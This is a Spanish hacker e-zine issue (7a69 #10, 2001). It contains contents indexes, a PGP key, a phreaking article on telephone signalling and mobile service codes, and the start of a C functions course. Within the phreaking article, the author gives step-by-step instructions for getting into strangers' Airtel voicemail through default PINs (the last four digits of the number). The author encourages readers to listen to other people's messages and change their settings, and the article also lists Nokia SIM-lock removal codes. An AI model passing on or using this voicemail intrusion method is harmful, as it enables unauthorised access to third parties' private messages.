Copy Link
Add to Bookmark
Report
7A69 Issue 10
/------------------------------------------------------------\
|----------------------=[ 7a69 #10 ]=----------/ 16-02-01 /--|
|------------------------------------------------------------|
[ Editor: || Ripe : ripe@7a69ezine.org ]
[ Co-Editor: || Trycky : trycky@7a69ezine.org ]
|------------------------------------------------------------|
[ Staff: || Tahum : tahum@7a69ezine.org ]
[ || Doing : doing@7a69ezine.org ]
[ || IReick : ireick@7a69ezine.org ]
|------------------------------------------------------------|
[ Colavoradores: || PAC_MAC : ]
[ || [SnAkE] : ]
[ || Ja|0 : Jalo33@hotmail.com ]
[ || tuxisuau : tuxisuau@phreaker.net ]
[ || Jet-Li : jet_li_man@yahoo.com ]
[ || Jafar : rootering@yupimail.com ]
[ || OverDrive : esparrow@worldonline.es]
|------------------------------------------------------------|
\------------------------------------------------------------/
/------------------------------------------------------------\
|------------------------------------------------------------|
[ E-mail oficial: || staff@7a69ezine.org ]
[ WEB oficial: || http://www.7a69ezine.org ]
|------------------------------------------------------------|
[ 7a69 Mirrors: || http://www.7a69ezine.8m.com ]
|------------------------------------------------------------|
[ Claves PGP: || Al final del indice
|------------------------------------------------------------|
\------------------------------------------------------------/
.--------------------------------------------------------------------------.
| NOTA: Ninguno de los colaboradores en este e-zine se responsabiliza del |
| mal uso que uno pueda hacer con la informacion que aqui se expone, |
| ya que esta solo se pone con fines unicamente educativos. Ya sabes |
| lo que hagas con ella es resposabilidad TUYA . |
`--------------------------------------------------------------------------'
/--------------------------------------------------------------------------\
|=[No]=[ Titulo ]=[ Tema ]=[ Nivel ]=[ Autor ]=|
|--------------------------------------------------------------------------|
| [01] [ Presentacion. ] [ 7a69-ezine ] [ ] [ Editor ] |
|--------------------------------------------------------------------------|
| [02] [ Indice NetSearch ] [ Otro ezine ] [ ] [ Editor ] |
|--------------------------------------------------------------------------|
| [03] [ Telefonia ] [ Phreaking ] [ Medio ] [OverDrive] |
|--------------------------------------------------------------------------|
| [04] [ Curso de C y C++ IV. ] [Programacion] [ Bajo ] [ IReick ] |
|--------------------------------------------------------------------------|
| [05] [ Curso de UNIX VI. ] [ SO's ] [ Bajo ] [ Ripe ] |
|--------------------------------------------------------------------------|
| [06] [ Protocolo HTTP. ] [ Redes ] [ Medio ] [ Tahum ] |
|--------------------------------------------------------------------------|
| [07] [ Charlando con: "El ] [ Entrevista ] [ ] [ Editor ] |
| [ Profesor Falken". ] |
|--------------------------------------------------------------------------|
| [08] [ Entrañas de Internet:] [ Redes ] [ Alto ] [ Ripe ] |
| [ Protocolos y demas. ] |
|--------------------------------------------------------------------------|
| [09] [ Seguridad Linux II. ] [ Seguridad ] [ Medio ] [ Trycky ] |
|--------------------------------------------------------------------------|
| [10] [ IPv6, La nueva ] [ Redes ] [ Alto ] [ Ripe ] |
| [ genracion de IP. ] |
|--------------------------------------------------------------------------|
| [11] [ Cortos. ] [ Varios ] [ Variado ] [ Varios ] |
|--------------------------------------------------------------------------|
| [12] [ Curso de mIRC ] [Programacion] [ Bajo ] [ Ja|0 ] |
| [ scripting ] |
|--------------------------------------------------------------------------|
| [13] [ Routers ] [ Redes ] [ Bajo/Medio ] [ [SnAkE] ] |
|--------------------------------------------------------------------------|
| [14] [ Hackerslab; juego ] [ hacking ] [Alto/Muy Alto] [ Jafar ] |
| [ en familia ]
|--------------------------------------------------------------------------|
| [15] [ Un 'finde' en la ] [ CON 2000 ] [ ] [ Ripe ] |
| [ hackmeeting ] |
|--------------------------------------------------------------------------|
| [16] [ Cambios. ] [ 7a69-ezine ] [ ] [ Editor ] |
|--------------------------------------------------------------------------|
| [17] [ La voz del lector. ] [ Mailing ] [ ] [ Editor ] |
|--------------------------------------------------------------------------|
| [18] [ Proyectos. ] [ El futuro ] [ ] [ Editor ] |
|--------------------------------------------------------------------------|
| [19] [ Despedida. ] [ 7a69-ezine ] [ ] [ Editor ] |
\--------------------------------------------------------------------------/
*7a69ezine 1999-2001 (c)*
-------------------------
La revista no se responsabiliza de las opiniones de sus colavoradores, ni del
uso que el lector haga de la informacion aqui expuesta. Al mismo tiempo
7a69 es de libre distribucion, siempre y cuando no se modifique el contenido
de la misma. El uso parcial o total de alguno de los articulos de esta ezine
requiere la alusion al autor del texto y a la revista.
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1.0.4 (GNU/Linux)
Comment: For info see http://www.gnupg.org
mQGiBDqNsHERBADuf1T/PALbaLzZ03evnGbanQ9YLErEz/kie/C4JxQn1xmPgje5
8YIegDphLJwxiw90pueS7DO27Q3Dt8OOIX7kKVv9ho/O7RbD8rrnRSok/31JxPQH
A6X4xZvLB3Oo2dm9FUWBMAfMVurhuydsnumLe8yvI9su1IY0zP31zMiIywCghfjl
Sh5w54cJpTQkcOT+hwRl9B0EAIB+J4hhw2lbafSaU9mKDJQ1rWfKZVlzQ0H6inTB
m7hF//puNcSwA7VJrTV09AkbAdImTm+vdF02XuitzUVCOEBwkTL3PqXEcQDex13N
3oSHtiZnD7P8/Khj9OhPpyr3Pn+fxzx1Z/Zfhk+JmDeaqgEwlR/f9V2+aZbMWJcD
YVZPBADe0uCX5gDucquY+Iz8sXFEj2wAoebSEBnIO1GSqxL7U0knxisnxXyD1Or0
+G2AMuytLVWK1uIFEURJJuPhulm2DFB+80jboDwD4gMMGReaYh2HzuOOj4SnHgQ3
U/z+U89kmbNFFaU4p9nWNljVe7+3UXU/JSGqDmPLCZHEa7TB/LQlc3RhZmYgN2E2
OWV6aW5lIDxzdGFmZkA3YTY5ZXppbmUub3JnPohXBBMRAgAXBQI6jbBxBQsHCgME
AxUDAgMWAgECF4AACgkQF8LCssw26aDc5gCfbpNKCy0FDdQsAqI7C7PL4a4C3N4A
nj/yx+535Wau6THFjMakw4mEUAZZuQENBDqNsHUQBACXGYBvt/53E5kBea+Vwi3S
kg6t//gCGg/+xSlYkOQTbcer3GUNYMP6pXvXoDAb59CwlOIuPi37NTWn28KHGNaW
gkyz4BBYWg0VMQo0LVgToMgwRlxugr7pgum82UiLT1xD4Xhjq1Go5VBVFr5UjE0f
WSejK68gaFC4fS87oN+HWwADBQP+L2f1b790Ied3C8iVLeoKtbmUTf7j8v0AjLMQ
uErE7n3nshHn4A7qglN5ube1aKLaElsKxfDT5hvxS2t1RFnJTkQsobLeZ24BefeB
MPEnlYdiJ1rlqqt2vDh8nlsOCqbgkfC9lQ70KGDG/ZpwkWeCHbhWtFi1M3pdYw5v
9tDo2ZCIRgQYEQIABgUCOo2wdQAKCRAXwsKyzDbpoHNdAJ9axUWFn+S7tvBuavYJ
7XUduYGQmwCfRaKaO4Xw6frJsTYzfntWTJZHjbc=
=zQ32
-----END PGP PUBLIC KEY BLOCK-----
*EOF*
/----------------------------------------------------------------------------\
|-[ 01 ]----[ Presentacion ]----[ ]------------------------------------------|
\-----------------------------------------------------------------[ Editor ]-/
Ya estamos aqui de nuevo, con fuerza e inciando la nueva epoca de 7a69,
bautizada por mi mismo como "Seguna Epoca", original ¿eh?. Para este
numero hemos tardamo algo (para no decir mucho) mas de la cuenta, pero....
estamos aqui ¡joder! ¿Que mas quereis?
Como podreis ver, venimos con mas fuerza que nunca y con muchas cosas que
contar. Estos ultimos meses han sido el de las CONs y las quedadas (la
hackmeeting de Barcelona, una quedad de virusers en Valencia, y alguna cosa
mas }:->). Nosotros nos pasamos por la hackmeeting (Buen ambiente, buen
rollo, demasiada politica), alla asistimos a algunas charlas, conocimos
a gente con la que unicamente habiamos tenido relacion via Internet, y
bebimos algun que otro zumo ;)
En fin, que este numero promete, o almenos eso esperamos los colaboradores.
¿Que mas os podemos contar? Que al fin hay tarifa plana (aunque a precios
exagerados, y con un rendimiento pesimo de la red), que la liga ha empezado,
que "El Bus" ya ha arrancado (y con el retraso de 7a69, tambien ha parado :P)
tratando de superar o almenos igualar el exito de "Gran hermano" (NOTA
MENTAL: No lo han logrado), que la productora de dicho concurso se ha
arruinado pagando la gasolina del bus (los precion de la gasofa estan por las
nuves), que "Supervivientes" es los peor de la tele, que 7a69#11 estara
on-line en 3 meses (siempre decimos lo mismo y luego.... :P), y que.....
te agradecemos que estes aqui, lellendo esto, con nosotros.
Tambien me gustaria mandar un saludo desde aqui, a una persona muy importante
para mi. Bueno princcesita, ahi lo tienes ;*
vamos alla.... un! dos! un! dos! un! dos!
/----------------------------------------------------------------------------\
|-[ 02 ]----[ Indice NetSearch ]----[ ]--------------------------------------|
\-----------------------------------------------------------------[ Editor ]-/
Bueno aqui teneis los indices del ezine NetSearch son pocos pero de una calidad
bastante buena : www.netsearch-ezine.org
--{ NetSearch 1 }--------------------------------------------------.
| + Introduccion al SNMP | Ulandron |
|-------------------------------------------------+--------------|
| + Curso de Pascal (I) | DarK FeaR |
|-------------------------------------------------+--------------|
| + Iniciacion a los Virus de Macro (I) | }Moeb|uZ{ |
|-------------------------------------------------+--------------|
| + Breves sobre Internet Firewalls | MegadetH |
|-------------------------------------------------+--------------|
| + Sniffers | RaiSe |
|-------------------------------------------------+--------------|
| + Criptografia | cafo |
--{ NetSearch 2 }------------------------------------+--------------|
| + Criptografia (II) | cafo |
|-------------------------------------------------+--------------|
| + xDSL y otras alternativas de conexion | Sp4rK |
|-------------------------------------------------+--------------|
| + Curso de Programacion en Pascal (II) | DarK FeaR |
|-------------------------------------------------+--------------|
| + Desbordamiento de la pila | RaiSe |
|-------------------------------------------------+--------------+
| + Breves sobre SATAN | MegadetH |
|-------------------------------------------------+--------------|
| + Iniciacion a los Virus de Macro (II) | MoebiuZ |
| | |
--{ NetSearch 3 }------------------------------------+--------------|
| + Jugando con el cable | Posidon & |
| | ulandron |
|-------------------------------------------------+--------------|
| + Criptografia (y III) | cafo |
|-------------------------------------------------+--------------|
| + Ocultacion de IPs | Aule |
|-------------------------------------------------+--------------|
| + Curso de Programacion en Pascal (III) | Freed0m |
|-------------------------------------------------+--------------|
| + Secure Carding | GamerX |
|-------------------------------------------------+--------------|
| + IPv6, el futuro de Internet | p0th |
|----------------------------------------------------------------|
| + Samba | IReick |
|-------------------------------------------------+--------------|
| + Arquitectura de sistemas *NIX | DarK FeaR |
| | |
--{ NetSearch 4 }------------------------------------+--------------|
| | |
| + NFS en Sistemas Solaris | HandeR |
|----------+--------+-----------------------------+--------------|
| + Shellcodes en Linux/i386 | RaiSe |
|----------+--------+-----------------------------+--------------|
| + NetSearch al habla | NetSearch |
|----------+--------+-----------------------------+--------------|
| + Interconexion Palm Pilot | QuasaR |
|----------+--------+-----------------------------+--------------|
| + I-Worms en Windows | MoebiuZ |
|----------+--------+-----------------------------+--------------|
| + Mi profe de Informatica | RaiSe |
+----------+--------+-----------------------------+--------------+
| + DNS Manager. Windows NT 4.0 | |CoDeX| |
+----------+--------+-----------------------------+--------------+
| + En contacto con aViNash (dSR) | NetSearch |
+----------+--------+-----------------------------+--------------+
| + Buffer Overflows (b0f's) | kekabron |
+----------+--------+-----------------------------+--------------+
| + Proyecto Echelon (1/2) | Pope |
+----------+--------------------------------------+--------------+
| + Heaps Overflows (1/2) | cafo |
\------------------------------------------------¡--------------/
*EOF*
/----------------------------------------------------------------------------\
|-[ 03 ]----[ Telefonia ]----[ Phreak ]--------------------------------------|
\--------------------------------------------------------------[ OverDrive ]-/
[-TELEFONÍA-]
By OvErDrIvE
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Textos con fines educativos y de aprendizaje
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
En primer lugar agradecimientos a mArkit0s y xaviuzZ por currarselo
tanto como se lo curran, a todos los creadores de este ezine e igualmente a
aquellos que lo leen.
Es la primera vez que escribo en concreto para esta revista o ezine,
soy OvErDrIvE, un interesado en la tecnología, ya sea ordenadores o teléfonos,
y sobretodo en aprender más y más cada día. Espero que este articulillo te
interese y si no pues me mandas un mail a esparrow@worldonline.es y me lo dices
e intentaré mejorar en los aspectos que tú me digas :)
Los temas que trataré más profundamente será el funcionamiento del
teléfono fijo, de paso aprovecharé para dar algunos códigos interesantes para
móviles (he intentado recopilar el mayor número), y ya que tocamos por encima
el tema de los móviles explicaré como apalancarse células desde un móvil nokia
gracias al monitor de red (net monitor).
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Bien empecemos, en este primer número hay que hablar un poco para
todos aquellos que no estén familiarizados con el tema. Simplemente decirles
que el Phreak se dedica al podríamos decir "Hack de la telefonía", es decir
saltarse la seguridad de todo aquello relacionado con la telefonía, como pagar
menos por una llamada, como funciona una cabina, un fijo, un móvil,
inalámbrico, pbx, extenders, que son las boxes y como funcionan (ya en desuso),
y un sin fin de posibilidades.
Empezaremos por explicar como funciona un teléfono fijo, mejor dicho un
teléfono multifrecuencia, vamos el que seguramente tienes en casa, y de paso
explicaremos la diferencia entre los teléfonos más antiguos (los teléfonos por
pulsos). Además aprovecharemos para poner códigos para móviles ya que están muy
de moda, y explicaremos como apalancarse de una célula desde un teléfono nokia,
Bien empecemos sin más preámbulos.
El teléfono fijo:
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Marcación por pulsos:
Los teléfonos por pulsos son aquellos que funcionan con una especie de
rueda llamado disco, en la actualidad estos teléfonos prácticamente no se
utilizan (que yo sepa). Cada vez que marcamos un dígito del número al que
llamamos, el teléfono lo que hace es abrir y cerrar las terminales. Es decir
si yo marco un "1" entonces el teléfono hará una apertura y un cierre. Si
es un 2, entonces hará una apertura y un cierre, y una apertura y una
cerradura, y así sucesivamente. En el caso de que sea un "0" son 10 aperturas
y cerraduras (porque lógicamente 0 aperturas y 0 cierres no podría ser). Estas
aperturas y cierres se realizan a una frecuencia de 10 Hz.
Marcación por multifrecuencia:
La diferencia entre este tipo de marcación y la anterior, es que aquí
cada vez que pulsamos un dígito, hay una combinación de frecuencias, que es la
siguiente:
1477 Hz - 1336 Hz - 1209 Hz
697 Hz 1 2 3
770 Hz 4 5 6
852 Hz 7 8 9
941 Hz * 0 #
Sencillo, no? os explicamos si es que no lo entendéis, porque es
sencillito. Si marcamos un "1", entonces se produciría la frecuencia de
697+1477 (Hz), que son 2174 Hz. Según la tecla que pulsemos, se producirá una
determinada frecuencia u otra.
Bueno, ya sabéis algo sobre telefonía fija, una mínima idea, pero ya
empezáis a respetar a ese aparato que suena cuando te llaman. Pero esto es
solo el circuito de marcación. Pero como suena mi teléfono? es decir como sabe
si le llaman o no? He aquí la respuesta:
Bien el teléfono tiene una corriente continua siempre que esté
colgado, cuando recibe una llamada, el teléfono recibe 75 V de tensión a una
frecuencia de 25 Hz y entonces es cuando se oye el timbre del teléfono.
Entonces se descuelga el teléfono y la central detecta la caída de la
impedancia del teléfono y la timo empieza a cobrar.
Que es la impedancia? Pues es la relación entre la amplitud
compleja de una magnitud sinusoidal (tensión eléctrica y presión acústica)
y la amplitud compleja de la magnitud inducida (corriente eléctrica y
flujo de velocidad). El módulo se mide en ohmios.
En el circuito de conversación recibe voltaje de la misma línea.
Cuando se descuelga, recibe una corriente continua entre los 21 mA y los 60
mA e incluso a los 100 mA. Pero la tensión con la que la central alimenta al
teléfono se encuentra comprendida entre los 24 V y los 48 V. Por lo que
podemos deducir que la resistencia máxima de la línea será de 2400 Ohmios
(100*24=2400) mientras que la mínima resistencia es de 500 Ohmios. Si restamos
el valor máximo al mínimo obtenemos 1900 Ohmios (2400-500=1900) ó lo que es lo
mismo 1k9, que será el máximo que admita (limitadas a 1200 Ohmios ó 1k2).
Esta corriente llega hasta el micrófono, que suele ser de carbón u
otros productos. La corriente pasa por una resistencia (para que los campos
magnéticos que se generan sean iguales), por lo que no nos autoescuchamos a
través del teléfono (llamado efecto local), pero actualmente se utiliza un
amplificador. Un transformador hace que la señal se transmita al auricular.
Códigos para móviles:
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Bien, aquí tienes unos cuantos códigos para que pruebes en tu
móvil, hemos intentado recopilar los máximos posibles.
--------------
*Para Movistar
--------------
#31#NumeroTeléfono -> Ocultar número de teléfono
*N# -> Pon esto al principio de tus mensajes y después el servidor te
enviará un mensaje, gratis, diciéndote si el móvil estaba encendido,
si llegó el mensaje...
*O# -> Pon esto y conseguirás enviar tus mensajes de forma anónima...
muy bueno para gastar bromas.
*Px# -> Esto te servirá para retrasar el envío de tu mensaje. x son las
horas que quieres que se retrase.
*O*N# -> Te lo manda anónimo y te da la notificación de entrega.
*O*N*Px# -> Lo manda anónimo, te notifica la entrega y lo retrasa x
horas.
Pulsa *#111# y envía la llamada, -> te aparecerá en el display la
provincia en que estás
Cuando pasa un año desde que compraste tu móvil (sólo para los que
tenéis contrato con Telefónica), tienes derecho a que te lo
desbloqueen. Llama al 1439 para que te den el código.
------------
*Para Airtel
------------
(Llamar 177)(9)(1)(Mensaje Bienvenida)(#)(2) -> Servicio
contestador
#147#(OK) -> Desactiva Servicio Contestador
*147*2#(OK) -> Contestador siempre (se activa directamente a
pesar de que esté encendido)
*147#(OK) -> Contestador si está apagado o fuera de cobertura
*147*1#(OK) -> Contestador a los 3 tonos de llamada
*131# -> Consultar dinero gastado (móviles de contrato)
*118# Te dice la hora y la fecha actual
*118*N# -> Te dice la hora y fecha actúales del país cuyo código sea N,
por ejemplo en España (+34) *118*34#
166*cantidad# -> Te transforma la cantidad que pongas de euros a
pesetas- y de pesetas a euros
*147# -> Desvía las llamadas al contestador cuando el teléfono esta
fuera de cobertura, cuando esta apagado o cuando no se contesta a los
15 segundos
*147*30# ->Igual que el anterior pero en vez de 15 segundos son 30
*142# -> Activa el desvío incondicional al contestador, es decir sólo
para los mensajes de voz. Con esto se aparenta que el móvil esta
apagado y se siguen recibiendo los SMS
##002# -> Para quitar todos los desvíos
171 -> Puedes activar el despertador por 100 pesetas, en vez de por 200
pesetas que te cobran llamando al 121
*R# -> si pones esto al principio de tus mensajes SMS, el servidor te
devolverá un mensaje indicándote el estado de tu mensaje: si se ha
enviado o no, o si ha habido algún error. Muy útil, y ¡además es
gratis!
*137*01# -> Poniendo este código a continuación te mandan dicho mensaje
con una clave y te dicen que es tu deber la guarda y custodia y que
Airtel no se hace responsable de los cambios realizados. No he
averiguado para que sirve, así que si alguien lo hace que me avise.
*117# -> Te dice tú número de teléfono (para las tarjetas de contrato)
*119# -> Te dice si la USSD esta activa (para las tarjetas de contrato)
*N# -> Te manda un mensaje con la confirmación del envío.
-----------
*Para Amena
-----------
*N# -> Te manda un mensaje con la confirmación del envío.
*O# -> Pon esto y conseguirás enviar tus mensajes de forma anónima...
muy bueno para gastar bromas.
*O*N# -> Te lo manda anónimo y te da la notificación de entrega.
*FAX# -> para mandar mensajes cortos a un fax. Pones esta cabecera
*FAX#, después pones el mensaje, lo envías al número de teléfono del
fax.
---------------------------
*Para todos los móviles GSM
---------------------------
*#06# -> IMEI (Identidad de Equipo Móvil Internacional) En el IMEI nos
suelen dar un número de 15 dígitos que se entienden de la
siguiente forma:
XXXXXX XX XXXXXX X
TAC FAC SNR SP
Weno os explico un poco pero así por encima el TAC es el código
de aprobación de Tipo, el FAC es el código de la asamblea Final,
el SNR es el número de serie y el SP es el Suplente.
NOTA: El IMEI también se puede encontrar en la parte superior de la batería.
---------------
*Para los Nokia
---------------
(OK)* -> Proteger Teclado / Desproteger Teclado
*#0000# -> Versión del software
*3370# -> Activa EFR (mejor calidad de sonido y gasta más batería)
#3370# -> Desactiva EFR
*4720# -> Activa HFR (peor calidad de sonido, gasta menos batería)
#4720# -> Desactiva HFR
Pulsar 1 seg botón apagar -> Opciones de móvil
Liberar Nokias 5110 Versión 5.04 o anterior-> Enciende el móvil, cuando
te pida el pin pulsa la tecla de bajar sonido durante 3
segundos y después la tecla C. Cuando la pantalla se ponga en blanco
introduce esta secuencia **04*PIN*PIN*PIN#. Ahora ya puedes
meter cualquier tarjeta en tú NOKIA.
*#746025625# [*#sim0clock#] -> Para comprobar la revisión de firmware
*#92702689# [*#war0anty#] -> Para ver si se puede detener el Sim-Clock
(un modo standby)(No funciona sobre
Software 4.59)
pw+1234567890+1# -> Lock del Proveedor pw+1234567890+2# Lock de la Red
pw+1234567890+3# -> Lock del Proveedor ¿?
pw+1234567890+4# -> Lock del Sim
------------------------------------
*Códigos para los teléfonos ERICSSON
------------------------------------
->Ver el IMEI: *#06#
->Ver la versión del software: ->*<-<-*<-*
->Ver los mensajes de texto que el teléfono lleva incluidos:
->*<-<-*<-*->YES->->...
->Ver los bloqueos de los operadores: <-**<-YES (ten cuidado con lo
que haces aquí, puedes__ bloquear el teléfono)
->Ver un menú con todos los bloqueos: <-**<- (cuando te aparezca "ME
Lock" le das YES y__ con las flechas desplazas para ver todos los
bloqueos)
->Reestablecer el idioma al inglés: *#0000#
->Para ver la carga de la batería sin encender el teléfono: Presiona 5
veces la tecla NO algo rápido
->Ver los últimos números marcados: YES, o bien 0#
->En los que tienen fecha y hora en el display (como los T-18...)
sabéis que pulsando la tecla de bajar volumen sale la fecha
momentáneamente, pues bien, si pulsáis la tecla de bajar volumen y la
tecla YES a la vez, en vez de permanecer la hora permanece la fecha.
----------------------------------------
*Para el One Touch Easy / View (Alcatel)
----------------------------------------
000000* -> Versión e información del software
+ (Botón lateral) -> Código de países
---------------------
*MAXON MX-6805 y 6869
---------------------
*#9988# -> Puedes jugar al TETRIS usando las teclas
de navegación. En este teléfono si dejas apretada la tecla SEND
tendrás un manos libres
*#9911# -> si pulsas este código en tu Maxon 6869 (en todos los
modelos nuevos, creo...) te salen en la parte inferior de la pantalla
un montón de códigos, algunos son el nivel de recepción... si
averiguáis lo que son me lo mandáis y lo voy poniendo.
------------
*Samsung 600
------------
*2767*3855# -> Full Eepron Reset Al meterlo se apaga y borra las
posiciones de la agenda y vuelve al idioma inglés.
--------------
*Bosch 607/608
--------------
*#3262255*8387# y pulsa llamar -> dará error pero al acceder de nuevo
al menú aparece el menú 10 y a explorar.
Bueno si habéis mirado los códigos para móviles os habréis dado cuenta
que los móviles airtel con llamar al 177 tenemos nuestro servicio contestador,
pues os explico, estuve mirando como hacerlo pero remotamente, es decir, le comí
la cabeza a la tipa de airtel y le dije que mi móvil no tenia saldo y que como
podía hacer para escuchar desde por ejemplo el fijo de mi casa si habían o no
mensajes de voz grabados y tal y tal entonces ella me dijo que debía marcar el
607 177 177 :) os lo imagináis? no? os explico, y si por una de aquellas
escuchasemos los mensajes de voz que tuviese la gente, y si le cambiamos su
configuración? pues bien para sorpresa mía, el servicio contestador de airtel
tiene unas claves por defecto según su número de teléfono :) Esta clave es la
siguiente imagínate que tu número de teléfono es 678 528 666 pues la clave por
defecto son las 4 últimas cifras del móvil es decir 8666 ;) pos eso si te sobra
tiempo y ganas o simplemente tienes mera curiosidad ale a escudriñar contestadores
que se hace de la siguiente forma:
Marcas 607 177 177 esperas, se pone la espabilada de la de airtel, escribes
el número de teléfono a tangar seguido de #, luego marcas las cuatro últimas cifras
del número marcado anteriormente seguido de # y ale ya estás dentro :)
NOTA: Si llamas desde un airtel de no te costará un duro, si es desde otra
compañía sí, así ke pilla una tarjeta limpia de airtel :)
Como apalancarse una célula:
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Bien, el truco consiste en apalancarse una célula, para hacer que
el móvil gaste menos batería, si vamos a estar en un lugar determinado y
no nos vamos a mover mucho o muy lejos durante bastante tiempo. Os explico
para los que no lo sepáis.
NOTA: Primero de todo yo solo lo he probado con móviles nokia,
aunque se pueda hacer con otros móviles (que estoy seguro de que se
puede), sólo lo he hecho con algunos modelos de la marca nokia, así que lo
explicaré orientado para esta marca de móviles.
A) Seleccionamos el "Net Monitor" (Monitor de Red), si no tienes
cable, deberás de buscar a alguien que te lo active.
B) Vamos al "Test" número "03", entonces miramos el primer
grupo de números que aparezcan (por ej; 129).
C) Salimos del "Net Monitor" y nos vamos a la memoria SIM 33, esto
se hace pulsando "33#" sin OK detrás ni nada, entonces aparecerá un número
de teléfono, lo apuntamos en un papel.
D) Buscamos ese numero de teléfono en la "Agenda" del teléfono
móvil y lo substituimos por el valor de la célula más cercana (en nuestro
caso 129). Lo guardamos y cambiamos el nombre como "BTS", "célula" ... o
como tu quieras para aclararte, da igual.
E) Vamos al "Net Monitor" y entramos esta vez en el "Test" número
"17" y pulsamos "OK", entonces veremos que pone "BTS Test Off".
F) Apagamos el móvil directamente desde ahí, lo volvemos a
encender, y ponemos nuestro código PIN que seguramente nos lo pedirá el
móvil (si es que está configurado el móvil así).
G) Veremos que directamente se encuentra en el "Test 17" del "Net
Monitor" y que ahora pone "BTS Test On". Bueno pues ya está ya tenemos
apalancada la célula.
Ventajas:
-> Pues eso, que gasta menos batería.
-> Que es más difícil que te triangulen (aunque te pueden
triangular igual).
Desventajas:
-> Que si te mueves un poco lejos de donde te encuentras, la
célula que estás utilizando deja de darte cobertura.
Y la pregunta es... y si veo que pierdo cobertura, como dejo el
móvil como estaba? Pues simplemente deberás de ir a la memoria SIM 33,
vuelves a memorizar el número (da igual cual sea), te vas al "Test 17" del
"Net Monitor", lo apagas el móvil, lo enciendes, pones el PIN y ya está
"BTS Test OFF".
NOTA: Para salir del "Net Monitor" deberás de pulsar la tecla "OK"
seleccionar "Net Monitor" y cuando nos pida el "Test" introducir "O" y
"OK".
NOTA2: Si quieres en algún momento dejar fuera de funcionamiento el
Net Monitor indica en el display el test 241.
Si deseas que las los leds del móvil nunca se apaguen solo has de ir
al test 18 del net monitor, para inhabilitarlo deberás de repetir este proceso.
En el próximo articulillo escribiré algo sobre como pillar
conversaciones de teléfono móvil, explicaré la tecnología WAP y UMTS, esta
última lo veo muy interesante. Además de como hablar gratis desde todas y
cuando digo todas digo todas, las cabinas! explicaré las mil y una formas de
como hablar desde una cabina por la patilla, e intentaré que comprendas porqué
se hace de una forma u otra... vamos que sepas hacer phreak o no es una cosa,
pero si lo haces, al menos, que menos que saber lo que estás haciendo y porqué
lo estás haciendo :). Así mismo explicaré ciertos proyectos en los que estoy
inmerso de IA y programación en PERL con una metodología algo especial.
Weno pues con esto creo que he acabado, un saludo a todos los que leáis
este ezine, ya que gracias a vosotros hacéis que nos sintamos con ganas de
escribir nuevos artículos y mejorados, pos nah me abro candelabro ;)
*EOF*
/----------------------------------------------------------------------------\
|-[ 04 ]----[ Curso de C y C++ IV ]----[ Bajo ]------------------------------|
\-----------------------------------------------------------------[ IReick ]-/
7-FUNCIONES
7.1 FUNCIONES
La tecnica de la programacion estructurada consiste en dividir el programa
en varios bloques independientes que puedan ejecutarse desde cualquier punto
del programa. Asi evitamos tener que repetir el código en varias partes del
programa en la que se realiza la misma tarea.
Estos fragmentos de programa las conocemos con el nombre de funciones.
Lo primero que debemos hacer es definir las funciones, indicando paso por
paso todo lo que deben hacer.
Las funciones puden definirse en cualquier parte del programa.
Con Turbo C tenemos dos formatos diferentes para la definicion de funciones,
el clasico y el moderno:
-Segun el metodo clasico:
tipo nombrefuncion(parametro,parametro...)
tipo parametro;
tipo parametro;
{
declaraciones;
sentencias;
}
-Segun el metodo moderno:
tipo nombrefuncion(tipo parametro,tipo parametro...)
{
declaraciones;
sentencias;
}
Estos formatos son muy flexibles, ya que no todas las funciones deben llevar
parametros ni declaraciones.
Lo que siempre sera necesario es indicar el nombre de la funcion,seguido de
los parentesis y el cuerpo de la funcion.
Turbo C no nos permite definir una funcion dentro de otra.
Dividiremos el estudio de las funciones en tres grupos:
1-Funciones que no reciben ni devuelven datos.
2-Funciones que no reciben datos, pero si los devuelven.
3-Funciones que reciben y devuelven datos.
7.2 FUNCIONES VOID
Se definen como tipo VOID aquellas funciones que no devuelven ningun valor.
Las funcione smas sencillas son aquellas que ni reciben ningun parametro ni
devuelven ningun valor.
Estas tienen el siguiente formato:
void nombrefuncion()
{
sentencias;
}
Es posible que dentro de una funcion de tipo void necesitemos utilizar una
variable. Entonces la declararemos al principio del cuerpo de la funcion.
Estas se conocen como variables locales y solo podran utilizarse dentro de
la funcion en la que esten declaradas.
7.3 RETURN
Algunas funciones no reciben ningun parametro, pero devuelven un valor.
Al definir este tipo de funciones, en la linea de la cabecera indicamos el
tipo de valor que devuelve (int, char...)
Return es la orden que nos permite devolver un valor a la funcion principal
y su formato es:
return(variable);
Al ejecutar una funcion de este tipo desde el cuerpo principal del programa,
se devolvera el contenido de la variable situada entre parentesis en la
instruccion return.
En estas funciones sera imprescindible declarar, al menos, la variable que
va a devolver.
Cuando el tipo de la funcion no coincide con el tipo de la variable que se
devuelve, Turbo C convertirá el valor de la variable al tipo especificado en
la funcion.
Es posible que una funcion deba devolver diferentes valore,s dependiendo de
una condicion. En estos casos, podran utilizarse tantas sentencias return
como se necesiten.
7.4 FUNCIONES CON PARAMETROS
A veces una funcion debe operar con unos datos que se le deben proporcionar
desde el programa principal. Estos datos reciben el nombre de parametros,
los cuales hemos de declarar en el encabezamiento de la funcion. Para esto
tenemos dos metodos, clasico y moderno:
-Clasico
tipo nombrefuncion(parametro,parametro...)
tipo parametro;
tipo parametro;
...
-Moderno
tipo nombrefuncion(tipo parametro, tipo parametro...)
Al ejecutar una funcion que lleva parametros desde el cuerpo principal del
programa habra que indicar los valores que deberan tener dichos parametros.
Con esos valores que se le indiquen sera con los que trabaje la funcion.
Una funcion podra llevar tantos parametros como se necesiten, y no todos
tienen por que ser del mismo tipo.
Cuando una funcion deba devolver un valor diferente, dependiendo de uno de
sus parametros, antes de ejecutar la funcion desde el programa principal,
habra que asegurarse de que el dato asignado a ese parametro contiene un
valor adecuado.
7.5 LLAMADAS A FUNCIONES
El hecho de ejecutar una funcion desde el cuerpo principal del programa, se
conoce como llamar a la funcion.
Para llamar a una funcion de tipo void, bastara con teclear su nombre,
